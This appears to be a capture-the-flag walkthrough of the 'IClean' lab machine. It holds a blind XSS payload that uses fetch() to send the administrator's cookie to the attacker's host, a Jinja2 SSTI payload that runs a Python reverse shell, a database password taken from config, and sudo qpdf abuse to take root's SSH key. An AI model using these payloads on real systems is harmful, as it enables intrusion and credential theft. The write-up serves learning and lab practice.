Machine name | OS | IP | Difficulty |
---|---|---|---|
IClean | Linux | 10.10.11.12 | Medium |
User
- Check if the host is responsive
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.11.12
PING 10.10.11.12 (10.10.11.12) 56(84) bytes of data.
64 bytes from 10.10.11.12: icmp_seq=1 ttl=63 time=108 ms
64 bytes from 10.10.11.12: icmp_seq=2 ttl=63 time=105 ms
- Check the running services
Let's check all running services and their versions using the `nmap` command:
└─# nmap -sV -A 10.10.11.12 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.12
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/1%OT=22%CT=1%CU=37945%PV=Y%DS=2%DC=T%G=Y%TM=6682F
OS:CAF%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)SEQ(SP
OS:=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW7
OS:%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88%W
OS:2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANN
OS:SNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 516.63 ms 10.10.16.1
2 688.65 ms 10.10.11.12
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.99 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (e as walready checked it in the first step).
The output shows interesting opened ports:
- Port
22
- OpenSSH version 8.2p1 - Port
80
- Apache httpd version2.4.52
The operating system of the machine is, of course, Linux, most likely Ubuntu (based on the OpenSSH and Apache versions); we will verify this later.
- Inspect the web application on port
80
└─# whatweb 10.10.11.12
http://10.10.11.12 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.12], Meta-Refresh-Redirect[http://capiclean.htb]
http://capiclean.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], IP[10.10.11.12], JQuery[3.0.0], Python[3.10.12], Script, Title[Capiclean], Werkzeug[2.3.7], X-UA-Compatible[IE=edge]
- Endpoint
http://10.10.11.12
redirects tohttp://capiclean.htb
, so let's edit/etc/hosts
and add:
10.10.11.12 capiclean.htb
Using the whatweb
tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:
Ruby
version 3.0.2 - programming language.Apache
version 2.4.52 - HTTP server.JQuery
version 3.0.0 - a JavaScript frontend framework.Python
version 3.10.12 - programming language.Werkzeug
version 2.3.7 - a library for creating and managing Python web applications.
While exploring the application, I found a few endpoints:
http://capiclean.htb/
- the main page: nothing interesting here.http://capiclean.htb/login
- login page, but we don't have any credentials (we can try to brute-force it, but I don't like doing that, so it will be the last option).http://capiclean.htb/team
- team information.http://capiclean.htb/choose
- some references.http://capiclean.htb/about
- information about the company.http://capiclean.htb/services
- available services.http://capiclean.htb/logout
- logout endpoint.http://capiclean.htb/dashboard
- redirects back to the login page.http://capiclean.htb/quote
- (link on the main page), there is some user input - that's something we have to investigate.
If we input something and send it, it's likely sent to the administrator, based on the information shown on the returned page:
There is a chance that there is an XSS vulnerability and we can steal the cookie, but we don't know how the page is rendered for the administrator, so we have to try blindly.
| NOTE: Some of the endpoints can be found using feroxbuster
:
- Blind XSS vulnerability
To receive cookies, we need to start our local server:
nc -nvlp 8888
Testing a few payloads, but some of them are probably blocked:
- Inline script tag -
<script>document.location="http://10.10.16.3:18000/?data="%2bdocument.cookie</script>
doesn't work... Inline scripts can be blocked (we can't verify it because we don't know how the page is rendered on the administrator's side; we will verify it later when we get access to the source code). - Payload
<img+src=x+onerror='fetch("http://10.10.16.4:8888/?data="%2bdocument.cookie)'/>
works, allowing us to retrieve the administrator's cookie:
With this cookie, we can bypass the login form and access the dashboard (administration) at the endpoint http://capiclean.htb/dashboard
. Using the F12
key in Google Chrome, we can set the cookie:
| NOTE: The entire request with the payload looks like this:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Length: 116
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://capiclean.htb/quote
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: 10.10.16.3
service=<img+src=x+onerror='fetch("http://10.10.16.4:8888/?data="%2bdocument.cookie)'/>&email=asdsad%40asd.test
- The cookie is transmitted as the query parameter
data
.
- Inspect the dashboard endpoint.
- Attempted several SQL injections, but without success.
- Conducting SSTI (Server-Side Template Injection) tests:
There are a few steps involved in generating an invoice...
- First, you generate the invoice.
- Then you take the ID of the invoice and input it into the generate QR code field.
- This will return a link, which you then place inside the third endpoint (it will insert the QR code image into the invoice page).
I discovered an SSTI vulnerability in the third step (the third endpoint that takes the link of the QR code as input).
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Length: 58
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://capiclean.htb/QRGenerator
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zqu0dg.IXqn28v4gQaR4bRxeeLlI1Lv5X8
Connection: keep-alive
invoice_id=&form_type=scannable_invoice&qr_link="/>{{7*7}}
This will return:
Next, we need to find a payload that executes shell commands.
- Exploiting SSTI
Using PayloadsAllTheThings, we can find the payload:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Replace the id
command with a reverse shell using the online tool . The final payload is:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('python3+-c+"import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.4\",8888));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn(\"sh\")"')|attr('read')()}}
We need to start the listener:
nc -nvlp 888
Using this payload, we obtain a reverse shell:
- Horizontal privilege escalation
Since we don't have access to the consuela
user, we need to find a way to escalate horizontally and switch users.
Using the command ss -tulpn
, we can find all open ports:
There is a MySQL database running on port 3306
. We need to find a password to connect.
In the application source code (/opt/app/app.py
), there is a database configuration:
And with the command mysql -h 127.0.0.1 -u iclean --password=pxCsmnGLckUb
, we can connect to the database:
Using a few commands, we can read the database:
show databases;
- to list databases.use capiclean;
- to switch to thecapiclean
database.show tables;
- to list all tables inside the selected database.select * from users;
- to list all users.
We need to crack the consuela
password and hope that it is the same as the password for the Linux user.
- User flag
By using hash-identifier
, we can determine the type of the hash:
By cracking it using CrackStation (rainbow tables - precalculated hashes), we obtain the password:
We have the password; we can try to SSH into consuela
, and we are in the machine:
And the user flag is in /home/consuela/user.txt
file.
Root
sudo
permissions
First, we check if we have any sudo
permissions:
There is one binary that we can run as root - /usr/bin/qpdf
.
- Using
qpdf
Using the qpdf
binary (the usage of this binary can be found in this ), we can embed some files inside a PDF file. I was curious about which files are inside the /root
folder and often find SSH files there. Let's extract /root/.ssh/id_rsa
if the file exists in the filesystem:
sudo /usr/bin/qpdf --empty --add-attachment /root/.ssh/id_rsa -- test.pdf
| NOTE: We can extract /root/root.txt
, but that's not enough; we want a shell as root!
To download the file, we can simply start an HTTP server on the target system and download it using the following commands:
python3 -m http.server 18000
Download it using wget
:
wget 10.10.11.12:18000/test.pdf
Extract it using binwalk
:
binwalk -e test.pdf --run-as=root
We can find the SSH key inside _test.pdf.extracted/209
.
- Root flag
SSH into the machine as root
:
ssh -i 209 [email protected]
| NOTE: Don't forget to change the permissions of the private key using chmod 600 <filename>
.
Assumptions verifications
- Running OS
We assumed, based on the OpenSSH version, that the running OS is Ubuntu
. Let's verify it using the uname -a
and cat /etc/os-release
commands:
root@iclean:~# uname -a
Linux iclean 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
root@iclean:~# cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Running OS - Ubuntu 22.04.4 LTS
.
- Investigating XSS vulnerabilities
The payload <script>document.location="http://10.10.16.3:18000/?data="%2bdocument.cookie</script>
doesn't work. But why?
Using ps aux
, we can list all running processes. The bot (which opens the pages) process must be running on the machine because it accesses the database, which is listening on localhost:
We can check the source code to identify the problem:
The bot will load the page and wait 3 seconds or until networkidle2
(navigation is considered complete when there are no more than 2 active network requests for at least 500 milliseconds). One of these attributes can cancel the redirection, so JavaScript inside the image is a more reliable option.
| NOTE: By the way, there is an admin password and the password is so strong, that there's no way we can brute-force it on the web page.
- Identifying parameters vulnerable to XSS
Let's examine /opt/app/templates/QuoteRequestDetail.html
; there is something interesting:
The {{ ... | safe }}
directive tells the framework that the input is trusted and safe to be rendered as it is and does not have to be encoded.